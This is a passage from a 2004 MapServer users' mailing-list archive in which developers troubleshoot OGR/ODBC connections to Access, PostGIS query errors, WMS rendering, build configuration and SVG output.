overwhelming!) but you didn't use the correct table name in your ogrinfo
query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
query:

Good luck,
-- 
---------------------------------------+------------------------------------
--
I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com 
light and sound - activate the windows | http://pobox.com/~warmerdam 
and watch the world go round - Rush    | Geospatial Programmer for Rent

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From gadoury at dmsolutions.ca  Fri Jan 23 12:38:43 2004
From: gadoury at dmsolutions.ca (Dean Gadoury)
Date: Fri, 23 Jan 2004 15:38:43 -0500
Subject: [Mapserver-users] variable substitution in DATA string
Message-ID: <40118653.8050307@dmsolutions.ca>

I have a question related to a past post: 
http://mapserver.gis.umn.edu/cgi-bin/wilma_hiliter/mapserver-users/0401/msg00058.html

We want to use variable substitution in the DATA string, e.g.:

  DATA ./my_dir/my_raster_%variable%.png

Is that supported?





From hjulien at nrcan.gc.ca  Fri Jan 23 12:41:12 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Fri, 23 Jan 2004 15:41:12 -0500
Subject: TR: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiont
 ype)
Message-ID: <06B403677C41D51194550002A55107D201F79013@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi Norm,
Here is a shortenend version of my mapfile:


NAME Field_cap
	EXTENT 38052.652500 4880535.418450 555731.152500 5398894.333450
	SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
	UNITS meters
	FONTSET "d:\webcgcq\lcnp\mapserver_demo\maritimes\fonts\fontset.dat"
	SYMBOLSET
"d:\webcgcq\lcnp\mapserver_demo\maritimes\symbols\symbolset.sym"
	SIZE 400 400
	IMAGECOLOR 255 255 255
	TRANSPARENT ON

PROJECTION  
	"init=epsg:26920"
END #projection

WEB
	TEMPLATE "d:\webcgcq\lcnp\mapserver_demo\maritimes\demo4.html"
	IMAGEPATH "d:\webcgcq\temp\"
	IMAGEURL "/temp/"  
#	EMPTY
"http://cgcq.rncan.gc.ca/GASL_clf/mapserver/templates/MS_query_noSel.html" 
	METADATA
		"wms_title" "Field_cap"
		"wms_onlineresouce"
"http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver400/mapserv.exe?map=d:\webcgcq
\lcnp\mapserver_demo\maritimes\mapfiles\StatField3.map&"
		"wms_srs" "EPSG:4269 EPSG:26920"
		"wms_feature_info_mime_type" "Text/html"
	END
END

LEGEND
	STATUS ON
	IMAGECOLOR 200 200 200
	LABEL
		TYPE TRUETYPE
		FONT arial
		COLOR 0 0 0
		SIZE 10
	END
END  
 

SCALEBAR
  	STATUS ON
  	IMAGECOLOR 238 238 255	
	POSITION lc
  	SIZE 200 5
  	COLOR 255 255 255
  	BACKGROUNDCOLOR 0 0 0
  	OUTLINECOLOR 0 0 0
  	INTERVALS 5
  	UNITS KILOMETERS
	STYLE 0
  	LABEL
  		COLOR 0 0 0
  		SIZE SMALL
  	END
END #SCALEBAR

QUERYMAP
	SIZE 200 150
	STATUS ON
	STYLE HILITE
	COLOR 255 255 0
END

REFERENCE
	COLOR  -1 -1 -1
	EXTENT -150900 4756000 884457 5596000
	STATUS ON
	OUTLINECOLOR 255 0 0
	SIZE 135 95
 	IMAGE
"d:\webcgcq\lcnp\mapserver_demo\maritimes\data\raster\refmgwiclr.jpg"
END

LAYER # Centre d'information Topographique - CIT Sherbrooke
    NAME "CANIMAGE:CanImage/CanImage"
    TYPE RASTER
    OFFSITE 0 0 0
    STATUS on
    CONNECTIONTYPE WMS
    CONNECTION "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?"
    METADATA
      "wms_title" "CANIMAGE"
      "wms_name" "CANIMAGE:CanImage/CanImage"
      "wms_server_version" "1.1.0"
      "wms_srs" "epsg:26920"
      "wms_format" "image/jpeg"
   END
   PROJECTION
      "init=epsg:26920"
    END
END #	

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION
"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS default
	LABELITEM locid
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 1
		SIZE 8
		COLOR 255 0 0
		LABEL
			SIZE MEDIUM
			TYPE BITMAP
			COLOR 0 0 0
		END # end of label
	END # CLASS
END # LAYER

END



My ODBC connection: MGWI_MAPSERVER
The name of my Access file is mgwi_transit2000.mdb.
Table name: tblloc
The fields I am interested in are: locid (text 50), loc_ref (text 50),
loc_alias (text 255), X (double), Y (double).


The ovf file:

    
	ODBC:MGWI_MAPSERVER,tblloc 
 	tblloc 
	wkbPoint
	 
    



Thanks again.

H?ryk

-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca]
Envoy? : Friday, January 23, 2004 2:53 PM
Cc : 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: TR: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien,

Is it possible to see the map projection section or if your map file is 
not too long could you copy it here?  Also, could you joined your 
database structure?

Norm

Julien, Heryk wrote:

>Has anyone ever tried connecting to Access 2000?
>That may be the problem.
>Is so I'll have to use a different db software!
>Unfortunatly almost everyone in my office works with Access 2000.
>
>Thank you all for your patience and help
>Cheers
>H?ryk
>
>-----Message d'origine-----
>De : Arthur, John [mailto:John.Arthur at T-Mobile.com]
>Envoy? : Friday, January 23, 2004 2:09 PM
>? : 'Julien, Heryk'; 'Frank Warmerdam'
>Cc : 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin; 'spencer at dmsolutions.ca'
>Objet : RE: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
>using "/" instead of "\":
>"D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"
>
>-----Original Message-----
>From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>Sent: Friday, January 23, 2004 2:03 PM
>To: 'Frank Warmerdam'; Arthur, John
>Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin; 'spencer at dmsolutions.ca'
>Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>Okay,
>If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
>the Access table name (tblloc) I get my table content. Thanks.
>
>Now I'm back to the original problem. All the components seem to work
>perfectly but I keep on getting the same error message when I try to draw
>the map:
>
>msDrawMap(): Image handling error. Failed to draw layer named
'MGWI_TBLLOC'.
>
>msOGRFileOpen(): OGR error. Open failed for OGR connection
>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File
not
>found or unsupported format.
>
>It doesn't seem to find the mgwi.ovf file. I tried both relative and
>absolute paths. I checked my mapfile and everyting seems okay
>
>LAYER
>	NAME "MGWI_TBLLOC"
>	TYPE POINT
>	CONNECTIONTYPE OGR
>	CONNECTION
>"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
>	DATA "MGWI_TBLLOC"
>	STATUS default
>	LABELITEM locid
>	PROJECTION
>		"init=epsg:26920"
>	END #projection
>	CLASS
>		SYMBOL 1
>		SIZE 8
>		COLOR 255 0 0
>		LABEL
>			SIZE MEDIUM
>			TYPE BITMAP
>			COLOR 0 0 0
>		END # end of label
>	END # CLASS
>END # LAYER
>
>
>John, are you using an Access database? Are you working on Linux or Window?
>
>
>Thank you all for your help
>H?ryk
>
>mgwi.ovf:
>
>
>    
>	ODBC:MGWI_MAPSERVER,tblloc 
> 	tblloc 
>	wkbPoint
>	 
>    
>
>
>
>
>
>-----Message d'origine-----
>De : Frank Warmerdam [mailto:warmerdam at pobox.com]
>Envoy? : Friday, January 23, 2004 10:24 AM
>? : Julien, Heryk
>Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
>'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
>'spencer at dmsolutions.ca'
>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>Julien, Heryk wrote:
>  
>
>>Hi,
>>I tried it and I don't get the table content!
>>
>>Firt try:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>1: MGWI_TBLLOC (Point)
>>
>>
>>
>>Second try with the table name:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>
>>
>>
>>The table doesn't seem to be coming through! Any idea?
>>
>>I tried the new build that Paul made available this morning and I get the
>>same problem! 
>>    
>>
>
>Hi,
>
>I'm not sure if I missed some of the email on this thread (it is pretty
>overwhelming!) but you didn't use the correct table name in your ogrinfo
>query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
>(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
>name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
>query:
>
>Good luck,
>  
>


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From mathieu.levesque at cidco.ca  Fri Jan 23 13:01:59 2004
From: mathieu.levesque at cidco.ca (Mathieu Levesque)
Date: Fri, 23 Jan 2004 16:01:59 -0500
Subject: [Mapserver-users] S-52 symbol set
Message-ID: <40118BC7.3080708@cidco.ca>

Hi everybody,

I was wondering if anybody had (or knew some place where I could 
download) a S-52 symbol set that I could use to display S-57 layers in 
Mapserver?

Thanks in advance,

Mathieu

-- 
----------------------------------------
Mathieu Levesque,
Programmeur-Analyste,
Centre Interdisciplinaire de D?veloppement
en Cartographie des Oc?ans (CIDCO),
310, All?e des Ursulines,
Rimouski, QC,
G5L 3A1
T?l: (418) 723-1986, ext. 1792
Fax: (418) 724-1842
Courriel: mathieu.levesque at cidco.ca




From jnielsen at aero-graphics.com  Fri Jan 23 13:08:49 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 23 Jan 2004 14:08:49 -0700
Subject: [Mapserver-users] scalebar params.
Message-ID: <1074892129.40118d61d5ed1@www.agi-lan.com>

Wondering if someone might give me a link to detailed information about how to
create scalebar when calling mapserv directly. ie: The parameters and their
effects.  Or perhaps give me a little lesson here in the list.

I have been playing with the dBox stuff and Im having problems getting the
scalebar to generate differently or should I say correctly.

http://192.168.168.201/cgi-bin/mapserv?map=/var/www/html/mymstest/utc.map&mode=scalebar&mapext=0+0+20160+20160&mapsize=600+600

Thats one example of what is being sent.  The later two numbers in mapext change
on each zoom but the numbers on the scalebar refuse to change.  Its always:

0 ----  58 ---- 116mi

What exactly causes this scale to change or how is it calculated?

The above link was generated via:

 document.scalebar_miles.src = MapServer + "?map=" + ms.mapfile +
"&mode=scalebar&mapext=0+0+" + (ms.extent[2] - ms.extent[0]) + "+" +
(ms.extent[3] - ms.extent[1]) + "&mapsize=" + ms.width + "+" + ms.height;


Thanks, Jason.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From morissette at dmsolutions.ca  Fri Jan 23 13:10:22 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 23 Jan 2004 16:10:22 -0500
Subject: [Mapserver-users] variable substitution in DATA string
In-Reply-To: <40118653.8050307@dmsolutions.ca>
References: <40118653.8050307@dmsolutions.ca>
Message-ID: <40118DBE.5080405@dmsolutions.ca>

Dean Gadoury wrote:
> I have a question related to a past post: 
> http://mapserver.gis.umn.edu/cgi-bin/wilma_hiliter/mapserver-users/0401/msg00058.html 
> 
> 
> We want to use variable substitution in the DATA string, e.g.:
> 
>  DATA ./my_dir/my_raster_%variable%.png
> 
> Is that supported?
> 

Yes it should work. The replacement are made on the following elements:

   layer DATA
   layer CONNECTION
   layer FILTER
   class EXPRESSION

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From morissette at dmsolutions.ca  Fri Jan 23 13:15:50 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 23 Jan 2004 16:15:50 -0500
Subject: [Mapserver-users] Mapscript DSO
In-Reply-To: <200401231024.43618.pramsey@refractions.net>
References: <200401231024.43618.pramsey@refractions.net>
Message-ID: <40118F06.2060906@dmsolutions.ca>

Paul Ramsey wrote:
> Sorry, this must be a FAQ, if it is not, it should be.
> 
> Mapserver 4.0 does not have PHP Mapscript DSO support. (Right?)
> Does CVS HEAD have that support currently? 

Part of the work to re-enable MapScript to work with the PHP DSO is done 
in the 4.1 (CVS HEAD) version, but it still needs more testing to 
uncover potential thread-safety issues, and there is an issue with regex 
and the PHP DSO that needs to be resolved in the build process (right 
now you need to fool configure in order to complete the build).

This has been discussed in December on mapserver-dev, you may want to 
read this thread
http://mapserver.gis.umn.edu/wilma/mapserver-dev/0312/msg00022.html

And the following bug report:
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=520


> Is CVS HEAD moderately stable?
> 

Yes, it's in quite good shape.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From morissette at dmsolutions.ca  Fri Jan 23 14:11:16 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 23 Jan 2004 17:11:16 -0500
Subject: [Mapserver-users] WMS server image black padding and aspect ratio
In-Reply-To: 
References: 
Message-ID: <40119C04.2050303@dmsolutions.ca>

Eric Sokolowsky wrote:
> I am running mapserver 4.0.1 but this aspect also appears with the 
> version in CVS.  I am using mapserver as a WMS server on a Red Hat Linux 9
> system.  When I request an image that is not the same aspect ratio as
> the original image on the server, it seems that the image I get is
> not stretched so that it fills the entire frame.  The aspect ratio of the
> original source is maintained and black bars either appear above and below
> or else on both sides, similar to the effect of watching widescreen movies 
> on a regular TV.  Is this the intended behavior, and if so, is there a way
> to turn it off?
> 

The short answer is that MapServer doesn't support rendering maps with 
different X and Y scales.  This is one of the only issues with MapServer 
before it passes all the OGC WMS tests.

For the long story, see the following thread in the archives:
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00105.html

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From morissette at dmsolutions.ca  Fri Jan 23 14:18:35 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 23 Jan 2004 17:18:35 -0500
Subject: [Mapserver-users] compiling against .so or sources? what is better?
In-Reply-To: <4011483F.6080509@consultoria.eti.br>
References: <4011483F.6080509@consultoria.eti.br>
Message-ID: <40119DBB.8030908@dmsolutions.ca>

Eduardo Patto Kanegae wrote:
> What is the diference between compile a feature with its source or with 
> its shared object lib ?
> 
> eg:
> 
> ./configure --with-foo=/usr/local/lib # poiting to libfoo.so
> 
> or
> 
> ./configure --with-foo=/usr/local/foo/src # pointing to foo.h and other 
> "foo" C sources...
> 
> thanks
> 

You should use the installed version of the library whenever possible 
(unless you really know what you're doing).  Pointing directly to the 
source tree usually leads to trouble at runtime.

Note that when pointing to the installed version, in general you 
shouldn't include the "lib" directory in the path, i.e. you should use

   --with-foo=/usr/local

Also note that some configure options want to be pointed to a 
configuration script and not to a directory, so you always need to read 
the "./configure --help" output or the docs to check what you need to 
pass. For instance, GDAL needs a reference to the gdal-config script, e.g.

   --with-gdal=/usr/local/bin/gdal-config

HTH

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From morissette at dmsolutions.ca  Fri Jan 23 14:20:48 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 23 Jan 2004 17:20:48 -0500
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
In-Reply-To: <401140C6.3060701@pobox.com>
References: <200401221449.16582.nacional@cbs.umn.edu> <401140C6.3060701@pobox.com>
Message-ID: <40119E40.1080201@dmsolutions.ca>

Frank Warmerdam wrote:
> 
> My suggestion is that we modify the MapServer configuration scripts so that
> by default if GDAL support is enabled that built-in TIFF and JPEG support
> will be disabled.  There isn't really any significant advantage to them
> except when people are building "light" versions of mapserver without GDAL.
> 
> Any objections to my making that change folks?
> 

I think that's a good idea.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From gayathri at ou.edu  Fri Jan 23 14:37:43 2004
From: gayathri at ou.edu (Swaminathan, Gayathri)
Date: Fri, 23 Jan 2004 16:37:43 -0600
Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7
Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C05C6F67@XMAIL1.sooner.net.ou.edu>

Stephane:

Did anyone answer your question at all? Well if you are still wondering what went wrong, the "Migration guide" in Wiki explains this problem

In order to enforce some security the previous CGI param has been changed. It will be only be accessible if you set DATAPATTERN .

Also search for DATAPATTERN in archive, there are tons of information related to this problem

HTH,
Gayathri

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of St?phane RIFF
Sent: Tuesday, January 20, 2004 3:23 AM
To: mapserver
Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7


I use Postgres 7.2 and postgis 0.7.5, php 4.3.2....

I tried to upgrade phpmapscript from 3.6.5 to 3.6.7 and my application 
doesn't work anymore.
I get an error from postgresql :

   *    Warning: MapServer Error in prep_DB(): Error executing POSTGIS 
DECLARE (the actual query)     statement: 'DECLARE mycursor BINARY 
CURSOR FOR SELECT 
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
1616618.5,1203176.624 2677218.5)'::BOX3D, 
find_srid('','giscontourfrance','the_geom') )'

Postgresql reports the error ''
*
But when i launch this query from phpPgAdmin :

    *SELECT 
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
1616618.5,1203176.624 2677218.5)'::BOX3D, 
find_srid('','giscontourfrance','the_geom') )*

It works....

Can someone point me to use mapserver 3.6.7 because i want to upgrade 
postgresql 7.2.4 to 7.3.*
and only 3.6.7 support pgsql 7.3 ( I don't want to upgrade to mapserver 
4.0.1 now)

Thanks

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From spencer at dmsolutions.ca  Fri Jan 23 15:15:18 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Fri, 23 Jan 2004 18:15:18 -0500
Subject: TR: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <06B403677C41D51194550002A55107D201F7900C@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F7900C@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <4011AB06.9010600@magma.ca>

Heryk

Is it possible that you have created a User DSN instead of a System DSN? 
  Just grasping right now.

Paul

Julien, Heryk wrote:

> Has anyone ever tried connecting to Access 2000?
> That may be the problem.
> Is so I'll have to use a different db software!
> Unfortunatly almost everyone in my office works with Access 2000.
> 
> Thank you all for your patience and help
> Cheers
> H?ryk
> 
> -----Message d'origine-----
> De : Arthur, John [mailto:John.Arthur at T-Mobile.com]
> Envoy? : Friday, January 23, 2004 2:09 PM
> ? : 'Julien, Heryk'; 'Frank Warmerdam'
> Cc : 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
> Anctil, Martin; 'spencer at dmsolutions.ca'
> Objet : RE: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
> using "/" instead of "\":
> "D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"
> 
> -----Original Message-----
> From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Sent: Friday, January 23, 2004 2:03 PM
> To: 'Frank Warmerdam'; Arthur, John
> Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
> Anctil, Martin; 'spencer at dmsolutions.ca'
> Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> Okay,
> If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
> the Access table name (tblloc) I get my table content. Thanks.
> 
> Now I'm back to the original problem. All the components seem to work
> perfectly but I keep on getting the same error message when I try to draw
> the map:
> 
> msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.
> 
> msOGRFileOpen(): OGR error. Open failed for OGR connection
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
> found or unsupported format.
> 
> It doesn't seem to find the mgwi.ovf file. I tried both relative and
> absolute paths. I checked my mapfile and everyting seems okay
> 
> LAYER
> 	NAME "MGWI_TBLLOC"
> 	TYPE POINT
> 	CONNECTIONTYPE OGR
> 	CONNECTION
> "D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
> 	DATA "MGWI_TBLLOC"
> 	STATUS default
> 	LABELITEM locid
> 	PROJECTION
> 		"init=epsg:26920"
> 	END #projection
> 	CLASS
> 		SYMBOL 1
> 		SIZE 8
> 		COLOR 255 0 0
> 		LABEL
> 			SIZE MEDIUM
> 			TYPE BITMAP
> 			COLOR 0 0 0
> 		END # end of label
> 	END # CLASS
> END # LAYER
> 
> 
> John, are you using an Access database? Are you working on Linux or Window?
> 
> 
> Thank you all for your help
> H?ryk
> 
> mgwi.ovf:
> 
> 
>     
> 	ODBC:MGWI_MAPSERVER,tblloc 
>  	tblloc 
> 	wkbPoint
> 	 
>     
> 
> 
> 
> 
> 
> -----Message d'origine-----
> De : Frank Warmerdam [mailto:warmerdam at pobox.com]
> Envoy? : Friday, January 23, 2004 10:24 AM
> ? : Julien, Heryk
> Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
> 'spencer at dmsolutions.ca'
> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> Julien, Heryk wrote:
> 
>>Hi,
>>I tried it and I don't get the table content!
>>
>>Firt try:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>1: MGWI_TBLLOC (Point)
>>
>>
>>
>>Second try with the table name:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>
>>
>>
>>The table doesn't seem to be coming through! Any idea?
>>
>>I tried the new build that Paul made available this morning and I get the
>>same problem! 
> 
> 
> Hi,
> 
> I'm not sure if I missed some of the email on this thread (it is pretty
> overwhelming!) but you didn't use the correct table name in your ogrinfo
> query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
> (Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
> name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
> query:
> 
> Good luck,

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From nacional at cbs.umn.edu  Fri Jan 23 16:03:12 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Fri, 23 Jan 2004 18:03:12 -0600
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
In-Reply-To: <40119E40.1080201@dmsolutions.ca>
References: <200401221449.16582.nacional@cbs.umn.edu> <401140C6.3060701@pobox.com> <40119E40.1080201@dmsolutions.ca>
Message-ID: <200401231803.12698.nacional@cbs.umn.edu>

On Friday 23 January 2004 04:20 pm, Daniel Morissette wrote:
> Frank Warmerdam wrote:
> > My suggestion is that we modify the MapServer configuration scripts so
> > that by default if GDAL support is enabled that built-in TIFF and JPEG
> > support will be disabled.  There isn't really any significant advantage
> > to them except when people are building "light" versions of mapserver
> > without GDAL.
> >
> > Any objections to my making that change folks?
>
> I think that's a good idea.
>
> Daniel

Frank and Daniel,

Yes, I agree.   Thanks for taking the time, Frank.


-- 
Pericles S. Nacionales
Dept. of Ecology, Evolution & Behavior
College of Biological Sciences
University of Minnesota

e-mail: nacional at cbs.umn.edu
phone: 612 624 6713



From ozialien at cox.net  Fri Jan 23 16:41:14 2004
From: ozialien at cox.net (ozialien)
Date: Fri, 23 Jan 2004 17:41:14 -0700
Subject: [Mapserver-users] SVG versus Flash
In-Reply-To: 
Message-ID: <000001c3e212$c8716830$6701a8c0@ernestslaptop>

Thanks for the information.  With the advent of XML:Schema's.  Would not
such a technology aid in the labourious custom parsing of all different MAP
formats into MapServer MAP format. 
Enable i.e. N-level drilldowns, from distributed data, across internet's.



-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Steve Lime
Sent: Wednesday, January 21, 2004 2:32 PM
To: ozialien at cox.net; mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl
Subject: RE: [Mapserver-users] SVG versus Flash


That would work as long as you wanted static maps. The advantage of using
MapServer is that you can have SVG templates to show just the information
for a desired set of features obtained through a query.

>>> "ozialien"  1/21/2004 12:52:39 PM >>>
Has anyone considered a SHP->XML Format->XSLT->SVG?

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu 
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Steve Lime
Sent: Wednesday, January 21, 2004 9:34 AM
To: mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl 
Subject: Re: [Mapserver-users] SVG versus Flash


With SVG you're not limited to the method you mention. The development
version has had some new features added so that you can you normal MapServer
queries/templates to generate SVG. Here's a message I sent to the list a
while back:

------------------
Here's an example link that shows SVG MapServer output:

http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/testin

g/svg/test.map&mode=itemnquery&qitem=cty_name&qstring=/./&qlayer=county


It's super simple, and just dumps MN counties to a SVG document. There's a
smile animation (provided by a student over at the UMN) that you see when
move your mouse over an individual county. The mapfile and templates can be
found at:

  http://maps.dnr.state.mn.us/testing/svg/svg_simple.zip 

Note that you'll need the CVS version of MapServer for this stuff to work.
I've tried the above URL with Mozilla (native SVG support, animation doesn't
work) and IE (Adobe plugin) with success.

Please pass along questions or comments!
------------------

I've only worked with SVG briefly, but was quite impressed with its
potential. It seems much more ammenable to on-the-fly creation than flash
(since it's ascii). Biggest downside, and it's a huge one, it the lack of
client software. The Adobe plugin works great, but their support for
non-windows clients sucks, and there is little else out there that supports
a significant portion of the SVG spec.

Steve

Stephen Lime
Data & Applications Manager

Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937

>>> Bart van den Eijnden  1/20/2004 1:52:02 PM >>>
Hi list,

if you want to use vector-based clients, Mapserver basically has 2
options:

1. use Flash swf output
2. use GML output on the WFS interface and transform this into SVG
(xslt)

Can anybody name some strong or weak points of both techniques, and are

there any working implementations out there?

I know there is a very good comparison at:
http://www.carto.net/papers/svg/comparison_flash_svg/ 

but I am just wondering if anybody has some experience with this choice or 
even with both techniques and Mapserver.

Thanks in advance for any input on this.

Best regards,
Bart
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users





From warmerdam at pobox.com  Sat Jan 24 01:58:13 2004
